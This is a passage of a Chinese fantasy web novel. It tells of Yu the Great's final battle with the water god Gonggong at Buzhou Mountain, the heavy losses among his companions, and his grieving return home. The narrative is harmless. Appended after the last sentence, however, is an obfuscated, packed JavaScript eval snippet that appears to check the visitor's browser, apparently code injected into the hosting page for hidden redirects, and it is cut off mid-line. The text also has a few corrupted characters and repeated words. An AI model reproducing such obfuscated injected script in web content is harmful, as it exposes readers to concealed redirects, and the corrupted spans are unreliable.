是夜,召集众人于其帐内商议战事。营帐内,气氛凝重如铁。关于不周山与共工的情报寥寥,更多的是未知的阴影。 “共工乃上古水神,其力根源在于操控万水,更兼引动天河倾泻,汇合万古怨魂。”禹沉声开口,目光扫过帐内每一张面孔,“然,我辈并非毫无胜算。” 他首先看向五龙:“五龙听令!尔等乃至阳至正之灵,龙息可涤荡污秽,龙躯可抗衡洪涛。开战之初,需尔等全力牵制天河倾泻之力,并以龙息净化其召唤之水魂,为我等创造近身之机。” 金鳞龙首昂然:“吾等必竭尽全力,纵死不辞!” 禹点头,取出数件神光内蕴的器物。他首先捧起那件古朴厚重、仿佛与大地血脉相连的神农石耜,沉声道:“此乃帝舜所赐神农石耜,曾助我开积石山,引动地火正念,至刚至猛,专克阴邪。共工之力至阴至寒,需以此耜破其根基。此物唯有正念可驱,届时由我亲自主持。” 他又郑重捧起那柄看似粗犷、却蕴含无上开辟意志的伏羲开山斧,斧身上古老的纹路仿佛在呼吸:“此乃伏羲圣皇亲赐开山斧,曾劈开砥柱,无坚不摧。此战,需以此斧,斩断共工与不周山残骸、与天河漏洞之间的本源连接。此一击,关乎胜败,亦需我亲执。” 最后,他取出流光溢彩的伏羲玉简:“此伏羲玉简,亦是圣皇所赐,可定地水风火,稳定一方时空之‘骨骼’。巫盼,你精擅精神之术,此玉简由你执掌。不仅要施展‘镜花水月’迷惑其感知,更需在关键时刻,以此简之力,暂时稳定战场空间,隔绝其与外界水元的联系,防止其遁走或召唤更多力量。” 巫盼深吸一口气,感受着玉简中浩瀚而有序的力量,眼中闪过一丝决然:“盼,定不负所托,必以全力维续空间框架!” 禹最后看向羲青:“羲青,你的星盘至关重要。它曾记录天河泄洪之轨迹,亦能映照能量流转。此战,你需时刻以星盘监测共工力量变化,寻找其力量核心与天河漏洞最脆弱的法则节点,为我引动地火、挥出开山斧,指明方向!” 羲青紧握手中温润又布满灼痕的星盘,用力点头:“青,必竭尽所能!” 至于砺、岳盾及其麾下岳卫锐士,禹的目光充满凝重与不忍。他们身着粗麻葛衣,手持硬木大盾、石斧、骨矛,腰间或挂着几柄珍贵的青铜短刃,这便是他们全部的铁血依仗。“砺,岳盾。尔等及锐士,无神器傍身,凡人之躯,直面神威,最为凶险。然,血肉长城,亦可撼天! 尔等之责,在于以木石之躯,护卫施法之人,抵挡水魂冲击,在于……在最关键的时刻,以无畏之冲锋,为决胜一击,开辟道路!哪怕……是以身为盾,以血为引!” 砺与岳盾踏前一步,手中石斧顿地,声如金石:“愿为司空前驱,万死不悔!”“岳卫锐士,唯有前进,未有后退!”他们身后的战士们沉默如山,眼中是同样的决绝。 部署既定,禹并未立刻发动攻击。他依古礼设坛,手持玄圭,声传屏障之内,而是依照古礼,沐浴更衣,于营前设下简单的祭坛,手持玄圭,朗声宣示: “共工氏!上古水正,曾掌沟渎,有功于民!今禹奉帝命,平治水土,至此绝域。望汝念及昔日同道之谊,苍生罹难之苦,收敛怨念,散此恶水,复归本位!天地有好生之德,勿使万千生灵,尽葬于汝一人之愤!” 声音在法力的加持下,穿透那无形的屏障,传入不周山深处。 良久,一阵低沉而充满无尽怨毒与嘲讽的笑声,仿佛自九幽之下,又仿佛自每个人的心底响起: “嗬嗬嗬……颛顼的走狗,也配提‘同道’?也配谈‘苍生’?” 随着话音,前方那扭曲的能量屏障如同水波般荡漾开来,露出一条通道。通道尽头,景象豁然一变。那并非寻常的山峦,而是一片支离破碎、悬浮于虚空中的巨大山体残骸——正是不周山遗迹。山体中央,一个庞大的、由浊流与暗影构成的“人形”缓缓凝聚。它依稀保留着古老的巫冠与神袍形制,但面容扭曲,身躯半是流水半是枯骨,无数痛苦哀嚎的战争怨魂在其体表浮动、挣扎。这便是共工,曾经的治水英雄,诸夏巫教领袖之一,如今被怨恨彻底吞噬的古老水神。 “禹……”共工的声音带着万古的沧桑与一种奇异的、仿佛能蛊惑人心的穿透力,“你,还有天下人,可知颛顼那‘绝地天通’,究竟夺走了什么?” 他的目光似乎穿透了禹,望向遥远的过去。“他并非为了什么‘止下民之渎’!他是为了独占与天地众神沟通的权力!从此以后,只有他,或者他指定的那个传声筒——南正‘重’,才能聆听神意,代神施令!而我们这些世代侍奉神灵的巫觋,我们这些能与山川鬼神共鸣的部族,一夜之间,成了‘渎神者’!” 共工的声音陡然拔高,充满了激愤与不甘:“我共工一族,自远古便司掌江河,沟通水元之神!凭什么他颛顼一言,就剥夺了我们与生俱来的权利?凭什么万千百姓,再不能直接向天地祈愿,只能通过他颛顼,或后来的帝王,去接收那不知被篡改了多少次的‘神意’?真相在哪里?我们又如何知道,你们传达的,就一定是天的意志,而不是你们人王的私心?!” 这番质问,如同惊雷,在禹的心湖中炸开涟漪。他想起了父亲鲧的遭遇,想起了治水过程中各方势力的掣肘,甚至……想起了舜那永远深沉难测的表情。共工的话,并非全无道理。 共工继续控诉,语气带着刻骨的讥讽:“他说是为了避免神人杂糅,各立派别,引发更大的战争。可笑!绝地天通之后,人间的战争就少了吗?尧征三苗,尸横遍野;舜流四凶,血染丹水;便是你禹,平定东南,会稽山外,难道就没有伏尸流血?战争的惨烈,何曾因神灵的‘退场’而减少分毫?!” “失去了直接沟通天地的权利,百姓如同蒙上了眼睛,堵住了耳朵!他们失去了自己判断天象、理解灾异的能力,只能被动接受统治者灌输的‘天命’!这究竟是带来了太平,还是制造了愚昧?是宁要这浑浑噩噩的、被安排的‘安宁’,还是要那可能充满痛苦与纷争,却清醒而自由地活着的权利?!” 禹沉默了。他无法立刻反驳。共工的质问,触及了统治秩序最核心的悖论。他身后,伯益、巫盼等人也面露思索,甚至闪过一丝茫然。 良久,禹深吸一口气,抬起了头,目光恢复了坚定,但那坚定中,带着一丝沉重与无奈。 “共工……汝之言,并非虚妄。”禹的声音不高,却清晰地传入共工耳中,也传入身后众人心中,“颛顼之政,或许确有其私心,或许手段过于酷烈,剥夺了诸多古老的权利。汝族之冤屈,禹亦能体会一二。” 他话锋一转,语气变得沉痛而务实:“然,事已至此。 ‘绝地天通’已行数百载,人神之序已然重构。如今再去争论当年是非,于当下濒死的苍生何益?现实是,洪水滔天,万民流离,易子而食!现实是,汝汇集万古怨魂,堵塞地脉,引动天河倾泻,已将这人间化为炼狱!” 禹踏前一步,声音陡然激昂起来,带着不容置疑的力量:“当下最急迫的,是让百姓活下去!是让孩童有食,让老者有所终,让耕者有其田! 与天地直接沟通的权力固然重要,但与生存相比,与止息眼前这毁灭一切的灾厄相比,它必须退居其次!人间,只能在现实的瓦砾上,选择那条能让最多人活下去的路!颛顼之政或许留下了无尽的遗憾与不公,但如今,我辈只能在既成的格局下,去争取一个对生民最有利的结果——那便是治好洪水,重建家园!” “汝口口声声为了自由与真相,然汝之所作所为,带来的只有彻底的毁灭!用亿万生灵的尸骨,去祭奠汝一族失去的权柄,这难道就是汝追求的‘清醒’与‘公道’吗?!” 共工那由怨念构成的面容剧烈地扭曲起来,禹的话语显然戳中了他内心深处不愿面对的悖论。他发出狂怒的咆哮:“狡辩!都是狡辩!你们维护的,不过是颛顼留下的、利于你们统治的秩序!既然这天地不公,既然这秩序建立在剥夺之上,那便彻底毁掉重来!吾已与这万古怨恨、破损天河融为一体!尔等欲平水患,除非将吾与这漫天怨念、倾泻天河一同湮灭!来吧,让吾看看,尔等的‘现实’,能否挡得住这倾天之怒!” 谈判彻底破裂。最终决战,轰然爆发! 共工挥手间,无数狰狞水魂如潮涌出,天空铅云破开,阴寒刺骨的天河水如灰色瀑布倾泻! “结阵!岳盾!”禹厉喝。 “岳卫锐士!御!”岳盾咆哮,率三十余锐士顶在最前,硬木大盾层层相叠,气血奔涌,竟在凡俗盾牌之外凝聚出一层稀薄却坚韧的血气光晕,硬撼水魂狂潮与天河水瀑的余波!水魂撞击在木盾、血气之上,发出嗤嗤声响,不断有战士连人带盾被冻结、撕裂,或被怨念侵体而亡,残肢与破碎的木屑、石器纷飞,阵线却如礁石般岿然不动! 砺率其他战士,以密集的石矢、骨箭、硬木投矛,狙杀着试图绕过正面战阵的水魂。五龙冲天而起,金鳞与苍鬃龙息喷吐,灼热气息与阴寒天河水激烈碰撞,爆发出漫天蒸汽;云踪与赤须化作青白、赤红两道电光,在水魂大军中穿梭撕裂;墨琛引动玄冰,试图冻结部分水流,减缓其势。 禹看准时机,将神农石耜猛力插入脚下大地,闭目凝神,以自身坚韧无匹的正念沟通地脉,喝道:“地脉正念,炎阳之火,起!” 石耜之上古朴纹路骤然亮起,赤红如熔岩的光芒顺着耜身灌入地底!轰隆隆!大地震颤,一道道炽热的地火之气如同赤龙,破开龟裂的土地,咆哮着冲向共工的死水领域!至阳地火与至阴死水激烈对抗,发出震耳欲聋的爆鸣,大量水魂在至阳之气下如冰雪消融! 巫盼同时催动伏羲玉简,玉简清辉洒落,如同无形的经纬线,强行稳定住被共工力量扭曲震荡的虚空,使得水魂冲击与天河倾泻的轨迹变得清晰可控。他更施展“镜花水月”之术,幻化出无数禹与五龙的虚影,在玉简稳定的框架内穿梭,令共工的含怒攻击屡屡落空。 羲青全神贯注于星盘,星盘上灼痕与先天星纹疯狂闪烁、交织,她秀眉紧蹙,汗湿鬓发,急声高呼:“司空!其力量核心在左下方第三道黑色漩涡深处!天河节点在正上方偏右,被最浓郁的怨念黑雾包裹!” 然而,共工的力量近乎无穷。战斗从白昼持续到黑夜,又迎来灰暗的黎明。岳卫锐士已十不存一,岳盾浑身浴血,硬木大盾早已破碎,仅凭一柄石斧死战不退。砺身负数创,左臂被天河水擦过,覆盖着一层难以化去的寒冰,行动已然迟缓。五龙亦伤痕累累,龙鳞脱落,龙息不再炽盛。地火虽猛,却被更庞大的死水阴寒之力逐步压制。幻象范围在共工狂暴的精神冲击下不断缩小。 “必须近身,以开山斧斩断其本源连接!”禹看向巫盼和已是强弩之末的岳盾。 巫盼会意,对岳盾决然道:“将军,请为我开路至其力量核心!” 岳盾咧嘴,露出一口染血的牙齿,咆哮道:“岳卫锐士!随我——破阵!” 他集结剩余所有还能站立的战士,将残存的木盾护在身前,如同燃烧最后的生命,化作一柄决绝的血色尖刀,悍然撞入无穷无尽的水魂狂潮!硬木在怨念冲击下粉碎,石器在碰撞中崩裂,血肉之躯不断倒下,但他们竟真的用生命短暂撕开了一条直指共工力量核心的通道! 巫盼咬破舌尖,一口精血喷在伏羲玉简上,玉简清辉大盛,暂时固化了他前方的空间通道。他自身则燃烧灵魂,化作一道璀璨的流光,沿着岳盾与锐士们用生命开辟的血路,直射共工那庞大的怨念本体! “先祖颛顼在上!后辈巫盼,以血为祭,以魂为引,净尔万古之秽!魂兮……归去!” 轰——! 一道纯粹由灵魂之力构成的冲击,如同投入滚油的火星,在共工力量核心处猛烈爆发!无数被束缚的怨魂发出前所未有的尖锐嘶鸣,出现了剧烈的紊乱。共工发出一声夹杂着痛苦与惊怒的咆哮,其调动水魂与天河水的力量明显一滞,连身形都黯淡了数分! 禹强忍悲痛,手持伏羲开山斧,周身气势提升到顶点,化作一道一往无前的金光,冲向那因灵魂冲击而短暂显露出破绽的本源连接!伯益、皋陶亦不顾伤势,紧随其后,发动全力一击! 然而,共工的反扑亦是恐怖。他虽然受创,但核心未损。剧痛与危机感激发了最深的凶性,狂暴的怨念与天河水之力如同决堤般疯狂反卷!首当其冲的岳盾与最后几名岳卫锐士,在耗尽最后一丝气力、成功完成开路使命后,连惨叫都未能发出,便被那毁灭性的黑暗洪流彻底吞没,尸骨无存!砺见禹侧翼有险,怒吼着飞身扑上,以身躯硬生生挡住了一道袭向禹的实质化怨念冲击,石斧崩碎,胸口被洞穿,鲜血如瀑,重重砸落在地,生死不知!巫盼的灵魂之光在完成那惊天动地的冲击后,便如风中残烛般彻底熄灭,伏羲玉简光华尽失,与他一同化为点点荧光,消散于天地之间…… 禹的开山斧终于斩落!带着开辟万山的无上意志,重重劈在共工与不周山、与天河漏洞那扭曲的本源连接之上!斧光过处,浊流辟易,暗影消散,仿佛有无声的碎裂之音响起!共工发出了凄厉至极的惨嚎,庞大的形体剧烈震荡、扭曲,变得愈发稀薄!伯益、皋陶的攻击也同时落在其身上,进一步加剧了他的创伤! 但重创之下的共工,也引动了最后、最疯狂的反扑!他不再顾及自身,将残存的所有力量,连同那万古的怨愤,尽数灌入天河漏洞!更粗壮、更阴寒的天河水混合着凝如实质的怨念,如同天穹倾倒般砸落! 五龙见状,不顾自身重伤,咆哮着再次冲天而起,试图合力阻挡这灭世一击。但此刻的它们已是强弩之末,龙息黯淡,龙躯残破,在这最后的疯狂反扑下,五龙皆被重创,龙鳞大面积剥落,筋骨发出令人牙酸的断裂声,哀鸣着从空中坠落。 就 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望着依旧在滑润倾泻、散发着不祥气息的天河水,看着岳盾、砺、巫盼以及众多岳卫锐士消逝的地方,羲青再也抑制不住,失声痛哭,巨大的悲痛与无力感几乎将她淹没。 禹强撑着伤体,环顾四周的惨状,心中充满了无尽的悲怆与几乎将他压垮的无力感。难道同伴们的牺牲,终究只能换来一个残破的结局?难道这苍天,真的无法弥补? 就在这绝望弥漫之际,羲青手中那面一直紧握的星盘,仿佛感应到了她强烈的悲愿与战场上残留的磅礴意志,其上的裂痕与灼痕竟自行亮起微光!这光芒虽然微弱,却带着一种奇异的穿透力,仿佛回光返照般,将最后的力量投射出一幅比之前任何时刻都要清晰的能量脉络图——那不仅是天河泄洪的路径,更无比精准地指向了泄洪口处,一个极其微小、却仿佛维系着最终平衡的法则节点! “司空……快看那里!”羲青用尽最后力气,声音虚弱却带着一丝绝境中的希冀,指向那节点,“星盘……父亲……最后的显示……那节点……是唯一……也是最后的希望……需要……至纯至粹的生机与秩序之力……才能……触及……甚至弥合……” 至纯的生机与秩序?禹脑海中瞬间闪过无数画面:羲青记录中,那“甘甜”食物塞入龟甲裂缝时迸发的微光;疏导三江时,万千民众汇聚的祈愿洪流;巫盼、岳盾、砺他们牺牲时,那守护未来、捍卫秩序的决绝眼神……是了!并非纯粹的力量对抗,而是要以一种截然相反的、代表着“生”与“序”的本质力量,去中和、去抚平那代表“死”与“乱”的怨恨与破损! 他不再犹豫,强忍着脏腑移位的剧痛,盘膝坐下,将颛顼玄圭郑重置于身前。他对仅存的伯益、皋陶、羲青、辛夷说道,声音沙哑却带着不容置疑的坚定:“助我!将你们所有的信念,对生之渴望,对秩序之坚持,对牺牲者的承诺,借这玄圭,传递给我!” 幸存者们围绕禹坐下,毫不犹豫地将手搭在他的肩背之上,闭上双眼,竭力摒除一切杂念与悲伤,心中唯存对安宁生活的向往,对逝去同伴的深切缅怀,以及对一个有序、和平未来的最强烈祈愿。禹则以自身为媒介,以无上的意志引导,将这份汇聚了生者最纯粹信念与死者遗志的、磅礴而温暖的“生机”与“秩序”之力,尽数灌注到颛顼玄圭之中! 嗡——! 玄圭骤然爆发出前所未有的光芒!那光芒并非刺目,而是如同初春的阳光,温暖、和煦,蕴含着滋养万物的生机;又如同星空的轨迹,有序、恒定,代表着天地运行的法则。这道光芒,与共工的怨恨、天河的死寂形成了最极致的对立!它化作一道凝实而温暖的光流,内部仿佛有金色的麦浪摇曳,有甘泉流淌,有孩童的笑声,有秩序的赞歌……精准无比地射向星盘指示的那个微小却至关重要的法则节点! 这蕴含着“生”与“序”本源力量的光流,悄然渗入那破损的节点。没有惊天动地的爆炸,只有一阵奇异的、仿佛整个天地都为之舒了一口气的嗡鸣响起,回荡在每一个生灵的心底。那倾泻的天河水,以肉眼可见的速度开始减缓、变得清澈,那破开的窟窿边缘,开始有无数细密、柔韧的金色光丝如同生命的根系般迅速蔓延、交织、融合!虽然未能令窟窿完全消失,却成功地将那致命的泄漏极大地抑制、暂时封堵了!汹涌的天河水变成了滑润细流,虽未根治,但灭世的危机已暂时解除。 共工残存的最后一点意识,感受着那与他怨恨之力截然相反、却又无比浩瀚温暖的生机与秩序力量,竟然真的开始弥合那天河泄漏,发出了最后一声充满极致不甘、难以置信乃至一丝茫然困惑的嘶鸣,最终,连同他万古的怨愤,彻底消散于无形。不周山遗迹,重归死寂,但那股令人窒息的毁灭性压迫感,已然烟消云散。 就在此刻,异变再生。 那暂得弥合的天河节点处,因玄圭之力与无数信念的汇聚,竟隐隐沟通了某种更深邃的层次。禹福至心灵,强忍剧痛,将全部精神寄托于玄圭之上,朗声祈愿,其声竟透过玄圭,回荡于天地人三界之间: “皇天后土,人神共鉴!禹承天命,治水安民,非为一族一姓之私!今逆神伏诛,然万灵涂炭,怨魂何依?伏请玄圭,通万族,和万灵,导引迷途,安抚怨怼,重定人神之契,再立天地之心!” 刹那间,玄圭光华大放,不再是王者权柄的象征,而是化作了沟通万族的桥梁!无数细碎的光点,如同夏夜流萤,又似众生意念,从九州四海、从幽冥深处汇聚而来——那是在洪水中逝去的生灵,是在战争中枉死的魂魄,是无数平凡族群对安宁最本初的渴望!它们环绕着玄圭,融入那道温暖的光流,原本只是暂时封堵的天河节点,在这超越了种族、生死界限的宏大愿力下,竟开始真正地愈合!那景象,仿佛不是禹一人在施法,而是整个天下,活着的与逝去的,都在共同修补这片破损的苍天! 三十三天之外,紫微垣深处。 帝俊随意跌坐于虚空,周身笼罩涵盖八荒的神辉,脚下是流转不息的云汉星河。他修长的十指虚按身前,正微妙调整着星辰轨迹,发出宏大至缥缈的天道和鸣。 忽然,他按停了“琴弦”。 一双洞彻过去未来的深邃眼眸,缓缓睁开,望向凡间不周山。那惨烈的牺牲,那最终以玄圭沟通万族、汇聚众生愿力修补苍天的景象,都清晰地映照在这位天帝眼中。他那万古无波的眼眸中,闪过一丝极难察觉的动容。 侍立仙官轻声询问:“陛下?此等凡间之力,竟能触及天河根本……” 帝俊微微抬手,仪态依旧高雅从容,声音却带着一丝前所未有的温和与赞许:“无妨。此非僭越,乃是自强。” “昔日共工怨触不周,天地失衡。颛顼绝地天通,虽有定序之功,亦遗隔绝之憾。这颛顼玄圭……或许,本就是颛顼一丝愧疚所化,留予后人沟通万族之契机。”他的目光仿佛穿透万古,“今日,禹以此圭,非为号令,而为沟通;非为一己,而为众生。汇生死之愿力,平古今之怨隙,补苍天之裂痕。此等勇气、智慧与仁德,已超越凡俗之争,直指天地本心。” 他顿了顿,宏大的声音直接在三界众生心间响起,带着无尽的威严与最终的肯定: “善!大善!” “人哉,禹!汝与汝众,以凡躯行神迹,非仗天恩,而凭己力!勇气直面亘古之恶,智慧寻得救世之方,仁德汇聚万族之心!共工之怨,源于神人秩序之弊;然今日之果,证人之自强,可补天地之缺!” “汝等所立新序,非颛顼之强制,乃万族之共愿!此乃天地间,最稳固之基石!” “天河之缺已复,人间水患将平。然,守护此新生秩序,导引万族共生,前路仍漫。好自为之,勿负今日之血,勿负苍生之望。” 帝俊的身影与金色光柱一同缓缓消散。但那浩瀚的天帝之威与最终的肯定,已深深烙印在所有生灵心中。 禹向天深深一拜。他握着手中光华内敛、却仿佛与九州生灵血脉相连的玄圭,望着远方渐渐显露生机的山河,知道一个崭新的时代,已然开启。治水之路或将终结,但守护与建设之路,正始于足下。 21. 第21章:功泽千秋 舜称帝第六年,亦是禹总理水土、平定天下洪患后的第一年。自十三年前承父志、拜司空以来,禹已将人生最富壮年的岁月,尽数倾注于那场席卷九州、绵延万里的浩大征途之中。如今,水归其道,泽渚成□□虐的龙蛇蛟蜃或伏诛或远遁,曾经哀鸿遍野的大地,终于迎来了久违的、带着泥土芬芳的宁静。 然而,这份宁静于禹而言,却浸透着难以言喻的沉重。不周山一役,代价太过惨烈。他周身经络脏腑所受的创伤,远非寻常药石所能速愈,需以自身浑厚的生命元气温养,徐徐图之。自返回阳城后,他大多时间便居于简朴的居所内,静坐调息,感受着体内那新生的、微弱却坚韧的生机,与无处不在的隐痛交织。 舜帝仁厚,曾数次遣心腹重臣前来阳城探望,带来珍稀的疗伤药物,更向他细细述说天下景象:昔日洪水泛滥之处,如今阡陌纵横,稼穑初兴;曾经流离失所的部族,已在故土或新辟的家园重建屋舍,炊烟再起;往来商旅,传颂着司空禹导江疏河、平定共工的伟绩,其名望之盛,几与帝舜比肩。 听着这些,禹的脸上并无多少喜色,只有一片深沉的平静,间或掠过一丝难以捕捉的哀恸。名满天下?这煌煌功业的基石,是岳盾与三十岳卫锐士在共工疯狂反扑下化作的飞灰;是砺为他挡下致命一击时喷洒的热血;是巫盼燃烧灵魂、手持玉简冲向怨念核心时决绝的背影;是无数连姓名都未曾留下的雍梁子弟、三苗勇士、及各部族民夫,倒在了从云梦到会稽,从不周山到天下各处的治水路上。这沉甸甸的“名望”,是由太多的牺牲铸就。 更有一份难以言说的疏离,来自家庭。启,他的儿子,如今已过十岁,从一个懵懂幼童长成了半大少年。禹治水十三载,与儿子相聚的时日屈指可数。启自幼由禹的伯父伯母抚养,对于这位突然归来、周身带着伤患与传奇色彩、被天下人尊称为“司空”的父亲,他感到的更多是陌生与敬畏,而非孺慕之情。 这一日,阳光透过窗棂,洒在禹略显苍白的脸上。他看着正在院中按照伯益所授礼仪,一丝不苟练习步法的启,那小小的身影努力模仿着成人的庄重,却掩不住孩童的僵硬。禹心中微涩,招手唤他过来。 启迟疑了一下,还是依言走近,垂手而立,小声唤了句:“父亲。” 禹想伸手摸摸他的头,如同寻常父亲那般,却发现自己的手掌因常年持握耒耜斧凿而布满厚茧,动作也因伤势而略显滞涩。他最终只是温和地问道:“启儿,近日在读什么?可有习练武艺?” “回父亲,伯益大人教授《虞典》,讲述帝舜德政。武艺……鸣镝叔叔偶尔指点。”启的回答规规矩矩,却带着明显的距离感。 禹暗下决心,待伤势再好些,定要多花时间陪伴儿子,学习如何做一个真正的父亲,将那些未能给予的陪伴,尽力弥补。 又休养了一段时日后,禹感觉身体稍有好转,便决定带启去一个地方——轘辕山。那里,安葬着他的妻子,启的母亲,女娇。 轘辕山依旧山高林密,伊洛水在山脚下静静流淌。禹的伤势未愈,攀登颇为吃力,每一步都牵动着内腑的隐痛。启默默地跟在父亲身后,看着父亲额角渗出的细汗,看着他时而驻足喘息,却始终向着山顶坚定前行。 终于,在一片面向东方、可俯瞰伊洛交汇处的平缓坡地上,他们来到了一座特殊的"墓"前。这里没有坟冢,只有一尊人形的石像静静伫立。石像的面容已有些模糊,却仍能看出女子生前的轮廓,她微微前倾的身姿仿佛仍在眺望,等待着什么。石像周围,生长着女娇生前最爱的萱草,在微风中轻轻摇曳。 禹站在石像前,呼吸不由得一滞。十三年了。当年他在黄河边偶遇女娇,那明媚的笑容瞬间照亮了他的心。后来,他亲赴涂山求娶,那场盛大的婚礼上,族人们载歌载舞,祝福的歌声至今仍萦绕耳畔: “南山桐茂,北阪松苍。 新月皎皎,今夕映堂。 兰生幽谷,玉韫山藏。 伊洛汤汤,永誓不忘。 埙谐钟鼓,黍丰稷香。 惟天鉴证,琴瑟共扬。 山无崩裂,川永其疆。 螽斯振羽,瓜瓞绵长。” 谁能想到,这美好的祝愿竟成了永远的遗憾。婚后不久,他便踏上治水征程,长年在外,三过家门而不入。最后一次经过轘辕山时,他化作巨熊开山,却被前来寻夫的女娇撞见。她不知那是丈夫所化,只见熊罴,惊恐万分,在极度的震惊、恐惧与绝望中,竟生生化为了石像。 禹颤抖着手,轻抚石像冰冷的面容。他仿佛还能看见女娇最后那一刻的眼神——难以置信,惊恐,或许还有被"背叛"的痛楚。她至死都不知道,那只“熊罴”正是她日思夜想的夫君。 “女娇……”禹的声音低沉而沙哑,带着穿越漫长岁月的疲惫与无尽的歉疚,“我回来了。水……已经治好了。天下百姓,终于可以……安居乐业了。” 山风拂过,卷起几片落叶,在石像脚边打着旋。萱草轻轻摇曳,仿佛在无声地回应。 他平定了天下的洪水,让万千黎庶得以安居,却永远失去了向挚爱解释的机会,永远失去了那个会在灯下温柔等待他的妻子。这份煌煌功业背后,是他永远无法弥补的遗憾与伤痛。泪水终于不受控制地滑过他饱经风霜的脸颊,滴落在冰冷的石像上。 启站在一旁,看着父亲颤抖的肩膀,看着这尊被称为“母亲”的石像。他悄悄上前,小手紧紧握住了父亲布满厚茧的大手。 掌心的温热让禹从悲恸中惊醒。他低头看着儿子,看着那双与女娇神似的眼睛,百感交集。他用力回握住儿子的小手,仿佛握住了逝去时光里残留的一点暖意,也握住了未来的一份责任。 回到阳城后,禹那原本寂静的居所,因故人们的陆续到来而重现生机。这日午后,伯益最先登门。这位昔日的得力助手眉宇间添了几分沉稳,少了几许旧日郁结。帝舜为彰其襄赞治水之大功,特赐姓“嬴”,并将姚姓宗女许配于他,此乃极显赫之荣宠。 “伯益,闻此佳讯,欣慰之至。”禹执其手,言辞恳切,“嬴姓贵重,姚女贤良,你终得佳偶,实乃天合。” 伯益面上掠过一丝赧然,欣喜中又杂着一缕难以言说的怅惘。他不由得想起了凤鸟——那位永远留在了漯水之畔,明媚如朝霞却倏然凋零的姑娘。那段无果的情愫,已随滔滔洪水东逝,沉淀为心底一道温柔而永恒的旧痕。 正叙话间,院门外响起阿牛那洪亮熟悉的嗓音:“司空!” 话音未落,便见他与芦花二人风尘仆仆地踏入院中。阿牛依旧是那副敦实模样,咧嘴笑着,露出一口白牙;芦花则精悍依旧,眼神灵动。他们显是刚从某处收尾工程赶来。 听闻伯益喜事,阿牛立刻憨笑着凑上前:“伯益!啥时候请俺们喝这碗喜酒啊?定要好好热闹一番!那位姚姑娘,必是瞧上了你的满腹才学!” 芦花也挤挤眼,接口打趣:“正是!伯益如今是帝舜眼前的红人,又得此良缘,可比咱们这些只会抢锤开山的强多啦!不过成了家,可莫忘了咱们这些一同啃干粮、睡野地的老伙计!” 众人皆善意地笑了起来。伯益被这番话说得面颊微红,连连摆手:“莫要取笑,益……益只是恪尽本分罢了。” 然其眼底深处,对过往的追忆与对未来的期许悄然交织。 禹笑着拍了拍阿牛结实的臂膀,关切问道:“你二人怎得空前来?” “嗨!一听闻司空回阳城养伤,俺们将手头最后那点清淤疏导的活计安排妥当,便日夜兼程赶来了!”阿牛激动之下,习惯性地想捶禹的肩膀,猛然想起其伤势,慌忙收手,只余满眼兴奋,“可算见着了!这回……这回可是真真正正的太平了!” 芦花亦兴奋补充:“司空有所不知,如今咱们当年走过、治过的地方,好多都已成沃野良田!百姓们提起司空,没有不感激的!” 谈笑间,皋陶、弃、鸣镝、辛夷及飞猿亦相继而至。小小院落,一时济济一堂,充满了故人重逢的感慨与唏嘘。皋陶持重如昔,弃温和仁厚,鸣镝锋芒内敛更显精干,飞猿静立其侧,目光敏锐。辛夷与禹目光相接,轻轻颔首,眼中有关切,亦有无需言说的、对巫盼的共同追思。 这番久违的热闹,却如投入静湖的石子,在禹心中漾开层层涟漪。他的目光掠过眼前一张张熟悉的面容,仿佛霎时穿透了十三载光阴,回到了初拜司空、走出蒲阪宫的那一日。 彼时,他、砺、羲青,三双手紧紧交叠,誓言铮铮在耳: “前路艰险。” “生死与共!” “同心协力!” 砺那爽朗的笑声,肩头那带着兄弟情谊的一拳,羲青清丽面庞上温暖而坚定的笑容……往日情景,历历在目。 而如今,砺已永眠于不周山那片冰冷破碎之地,与他同行的,还有那几乎全员战殁的岳卫锐士,众多雍梁子弟,以及智慧深邃、最终与玉简同焚的巫盼。 阿牛看着院中众人,憨厚的脸上笑容更盛,他环顾四周,习惯性地问道:“司空,青儿、砺哥和巫盼呢?可是在屋内商议要事?还有岳率,他那面大盾往那一杵,可就安稳了!” 他话音落下,院中的气氛瞬间凝滞。 皋陶、弃等人沉默地垂下了目光。鸣镝握紧了拳。辛夷的眼中迅速盈满了泪水,别过头去。 禹脸上的肌肉微微抽动了一下,他深吸一口气,仿佛要压下胸腔间翻涌的酸楚,声音低沉得几乎听不见:“阿牛……,青儿在屋里刻书呢。砺,岳盾,巫盼……他们……都留在不周山了。” 阿牛脸上的笑容瞬间僵住,瞪大了眼睛,似乎无法理解这句话的含义。芦花也愣住了。 “留……留在不周山?”阿牛讷讷地重复着,猛地反应过来,脸色霎时变得惨白,“不……不周山?你是说……他们……他们……”这个憨直的汉子,一时间无法接受这残酷的事实,巨大的悲痛让他魁梧的身躯都晃了晃。 沉重的悲伤,如同无形的阴云,笼罩了整个院落。那些逝去的、鲜活的面容,在每个人心中清晰地浮现。 良久,禹率先打破了这令人窒息的沉默。他走到阿牛和芦花面前,用力拍了拍他们的肩膀,声音带着伤后初愈的沙哑,却有一种沉淀了岁月与血火的力量: “抬起头来。” 阿牛和芦花红着眼眶,望向禹。 “砺、岳盾、巫盼……还有所有牺牲的将士,”禹的目光缓缓扫过院中每一个人,也包括也包括默默合上《苍生鉴》、眼中含泪的羲青,“他们并非白白牺牲。他们用生命守护的,是这条终于归于平静的江河,是天下万千得以安居的黎庶,是一个……不再被洪水与怨恨吞噬的未来。” 他的声音逐渐提高,带着一种不容置疑的坚定:“他们的名字,或许不会尽数载于史册,但他们的功绩,已融入这九州山河,随着每一道水流,灌溉四方;他们的精神,已烙印在我等心中,随着每一次呼吸,传承后世!” “这,便是我们一路走来,付出所有,所要换取的——功泽千秋!” “活着的人,当背负着逝者的遗志,更好地活下去,守护好这来之不易的太平!” 羲青听着禹的话,泪水无声滑落,但她紧紧咬着下唇,用力点了点头。辛夷也擦去了眼泪,目光重新变得坚定。皋陶、弃、伯益等人,皆肃然动容。 阿牛用袖子狠狠抹了把脸,瓮声瓮气地道:“司空……俺……俺明白了!俺和阿花,以后就守着这太平日子,谁要是敢破坏,俺第一个不答应!” 芦花也重重点头。 羲青正独自坐于屋内,凝视着面前的石桌上的一只敞口陶瓮。在这只陶瓮里,装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 